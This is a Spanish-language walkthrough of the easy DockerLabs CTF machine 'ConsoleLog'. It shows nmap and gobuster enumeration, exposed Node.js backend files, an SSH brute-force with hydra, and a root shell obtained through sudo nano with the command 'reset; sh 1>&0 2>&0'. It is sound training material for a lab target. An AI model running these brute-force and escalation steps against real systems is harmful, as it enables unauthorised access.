Skip to content

ConsoleLog

This content is not available in your language yet.

Este artículo documenta la resolución de la máquina virtual ConsoleLog, diseñada por El Pingüino de Mario y clasificada con un nivel de dificultad fácil. Se presentan de forma ordenada las fases de reconocimiento, explotación y escalada de privilegios, utilizando herramientas ampliamente empleadas en desafíos de captura la bandera (CTF).

  • Nombre: ConsoleLog
  • Autor: El Pingüino de Mario
  • Dificultad: Fácil
  • Fecha de creación: 29/07/2024
  1. Descargamos la máquina desde DockerLabs.

  2. Descomprimimos el archivo:

    Ventana de terminal
    unzip ConsoleLog.zip
  3. Ejecutamos el script de despliegue:

    Ventana de terminal
    sudo bash auto_deplo.sh ConsoleLog.tar

Al iniciarse la máquina, se muestra directamente su dirección IP, por lo que no es necesario realizar un escaneo ARP.

IP

Preparamos el entorno local de trabajo:

Ventana de terminal
mkdir ConsoleLog
cd ConsoleLog
mkt # Crea: content, exploits, nmap, scripts

Ejecutamos un escaneo de puertos completo utilizando nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos abiertos con:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Analizamos los servicios que corren en los puertos abiertos (22 - SSH, 80 - HTTP, 3000 - Node.js):

Ventana de terminal
nmap -sCV -p22,80,3000 172.17.0.2 -oN targeted

Servicios

Utilizamos gobuster para detectar archivos y directorios expuestos vía HTTP:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

Gobuster

Entre los hallazgos relevantes se incluyen:

  • index.html: página principal sencilla con un botón. Al inspeccionar la consola del navegador, se muestra un mensaje revelador:

    index.html Console

  • /backend: directorio que expone un backend desarrollado en Node.js, con acceso a los archivos Authentication.js y Server.js.

    Backend

    El archivo Server.js contiene una pista crucial para el siguiente paso de la explotación:

    Server.js

    También se muestra el contenido de Authentication.js:

    Authentication.js

Como no se identificaron formularios explotables ni rutas vulnerables, optamos por probar autenticación por fuerza bruta a través del servicio SSH utilizando hydra:

Ventana de terminal
hydra -L /usr/share/wordlists/rockyou.txt \
-p contraseña_conocida ssh://172.17.0.2 -t 4

Hydra

Una vez identificado el usuario válido, accedemos vía SSH:

SSH

Comprobamos qué acciones están permitidas con sudo:

Ventana de terminal
sudo -l

Se nos indica que podemos ejecutar nano como superusuario sin necesidad de contraseña:

sudo -l

Consultamos GTFOBins mediante searchbins para determinar un vector de escalada con nano:

Searchbins

Aprovechamos esta capacidad para invocar una shell como root:

  1. Ejecutamos:

    Ventana de terminal
    sudo nano
  2. Presionamos Ctrl+R, luego Ctrl+X, y escribimos:

    reset; sh 1>&0 2>&0
  3. Pulsamos Enter y obtenemos acceso como superusuario.

Root

La máquina ConsoleLog proporciona un excelente escenario para practicar reconocimiento web, análisis de archivos JavaScript en backends Node.js y escalada de privilegios mediante binarios permitidos por sudo. La clave estuvo en combinar la información expuesta en el frontend con la enumeración del backend y la posterior explotación del entorno local. Herramientas como nmap, gobuster, hydra y searchbins fueron fundamentales en el proceso.